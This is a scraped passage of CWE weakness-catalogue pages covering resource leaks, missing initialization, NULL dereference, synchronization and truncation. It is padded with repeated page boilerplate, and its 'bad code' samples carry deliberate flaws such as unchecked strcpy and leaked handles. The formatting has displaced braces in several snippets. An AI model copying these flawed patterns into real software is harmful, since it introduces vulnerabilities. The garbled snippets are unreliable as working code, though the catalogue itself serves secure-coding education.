// user allowed to perform bank manager tasks private User user = null; private boolean isUserAuthentic = false; // constructor for BankManager class public BankManager(String username) { user = getUserFromUserDatabase(username); }// retrieve user from database of users public User getUserFromUserDatabase(String username) {...} // authenticate user public boolean authenticateUser(String username, String password) { if (user == null) {
System.out.println("Cannot find user " + username); }else { if (password.equals(user.getPassword())) { }isUserAuthentic = true; }return isUserAuthentic; // methods for performing bank manager tasks ... Example 5 This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address. (bad code)
Example Language: C
char *test_string;
if (i != err_val) { test_string = "Hello World!";
}printf("%s", test_string); When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457). To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf(). One solution would be to set test_string to an acceptable default before the conditional: (good code)
Example Language: C
char *test_string = "Done at the beginning";
if (i != err_val) { test_string = "Hello World!";
}printf("%s", test_string); Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set: (good code)
Example Language: C
char *test_string;
if (i != err_val) { test_string = "Hello World!";
}else { test_string = "Done on the other side!";
}printf("%s", test_string);
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.
Research Gap
It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.
CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-401: Missing Release of Memory after Effective Lifetime
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.
This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions. In some languages, developers are responsible for tracking memory allocation and releasing the memory. If there are no more pointers or references to the memory, then it can no longer be tracked and identified for release.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes: (bad code)
Example Language: C
char* getBlock(int fd) {
char* buf = (char*) malloc(BLOCK_SIZE);
if (!buf) { return NULL; }if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) { return NULL; return buf;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.
Terminology
"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).
CWE-772: Missing Release of Resource after Effective Lifetime
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Technologies Class: Mobile (Undetermined Prevalence) Example 1 The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called. (bad code)
Example Language: Java
private void processFile(string fName)
{ BufferReader fil = new BufferReader(new FileReader(fName)); }String line; while ((line = fil.ReadLine()) != null) { processLine(line); }The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure. (good code)
Example Language: Java
private void processFile(string fName)
{ BufferReader fil = new BufferReader(new FileReader(fName)); }String line; while ((line = fil.ReadLine()) != null) { processLine(line); }fil.Close(); Example 2 The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object. (bad code)
Example Language: C#
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString); cmd.Connection = conn; conn.Open(); SqlDataReader rdr = cmd.ExecuteReader(); HarvestResults(rdr); conn.Connection.Close(); The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries. Example 3 This code attempts to open a connection to a database and catches any exceptions that may occur. (bad code)
Example Language: Java
try {
Connection con = DriverManager.getConnection(some_connection_string); }catch ( Exception e ) { log( e ); }If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application. Example 4 Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries. (bad code)
Example Language: C#
...
SqlConnection conn = new SqlConnection(connString); SqlCommand cmd = new SqlCommand(queryString); cmd.Connection = conn; conn.Open(); SqlDataReader rdr = cmd.ExecuteReader(); HarvestResults(rdr); conn.Connection.Close(); ... Example 5 The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles. (bad code)
Example Language: C
int decodeFile(char* fName) {
char buf[BUF_SZ];
FILE* f = fopen(fName, "r"); if (!f) { printf("cannot open %s\n", fName); }return DECODE_FAIL; else { while (fgets(buf, BUF_SZ, f)) {
if (!checkChecksum(buf)) { }return DECODE_FAIL; }else { decodeBlock(buf); }fclose(f); return DECODE_SUCCESS;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.
Maintenance
CWE-392: Missing Report of Error Condition
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product encounters an error but does not provide a status code or return value to indicate that an error has occurred.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs. (bad code)
Example Language: Java
try {
// Something that may throw an exception. ... logger.error("Caught: " + t.toString()); }return;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1066: Missing Serialization Control Element
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains a serializable data element that does not
have an associated serialization method.
This issue can prevent the product from running reliably, e.g. by triggering an exception. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-820: Missing Synchronization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.
If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Example 1 The following code intends to fork a process, then have both the parent and child processes print a single line. (bad code)
Example Language: C
static void print (char * string) {
char * word;
int counter; for (word = string; counter = *word++; ) { putc(counter, stdout);
fflush(stdout); /* Make timing window a little larger... */ sleep(1); int main(void) { pid_t pid;
pid = fork(); if (pid == -1) { exit(-2); }else if (pid == 0) { print("child\n"); }else { print("PARENT\n"); }exit(0); One might expect the code to print out something like:
PARENT
child
However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:
PcAhRiElNdT
[blank line]
[blank line]
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.
CWE-1047: Modules with Circular Dependencies
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.
As an example, with Java, this weakness might indicate cycles between packages. This issue makes it more difficult to maintain the product due to insufficient modularity, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1055: Multiple Inheritance from Concrete Classes
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-764: Multiple Locks of a Critical Resource
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product locks a critical resource more times than intended, leading to an unexpected state in the system.
When a product is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.
CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. While the interpretation of "large number of data accesses/queries" may vary for each product or developer, CISQ recommends a default maximum of 2 data accesses per function/method. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-476: NULL Pointer Dereference
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Java (Undetermined Prevalence) C# (Undetermined Prevalence) Go (Undetermined Prevalence) Example 1 While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur. (good code)
if (pointer1 != NULL) {
/* make use of pointer1 */ /* ... */ When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished. Example 2 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy(). Note that this code is also vulnerable to a buffer overflow (CWE-119). Example 3 In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method. (bad code)
Example Language: Java
String cmd = System.getProperty("cmd");
cmd = cmd.trim(); Example 4 This Android application has registered to handle a URL when sent an intent: (bad code)
Example Language: Java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL"); MyReceiver receiver = new MyReceiver(); registerReceiver(receiver, filter); ... public class UrlHandlerReceiver extends BroadcastReceiver { @Override
public void onReceive(Context context, Intent intent) { if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length(); ... } The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called. Example 5 Consider the following example of a typical client server exchange. The HandleRequest function is intended to perform a request and use a defer to close the connection whenever the function returns. (bad code)
Example Language: Go
func HandleRequest(client http.Client, request *http.Request) (*http.Response, error) {
response, err := client.Do(request)
}defer response.Body.Close() if err != nil {
return nil, err
}... If a user supplies a malformed request or violates the client policy, the Do method can return a nil response and a non-nil err. This HandleRequest Function evaluates the close before checking the error. A deferred call's arguments are evaluated immediately, so the defer statement panics due to a nil response.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-197: Numeric Truncation Error
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterTruncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
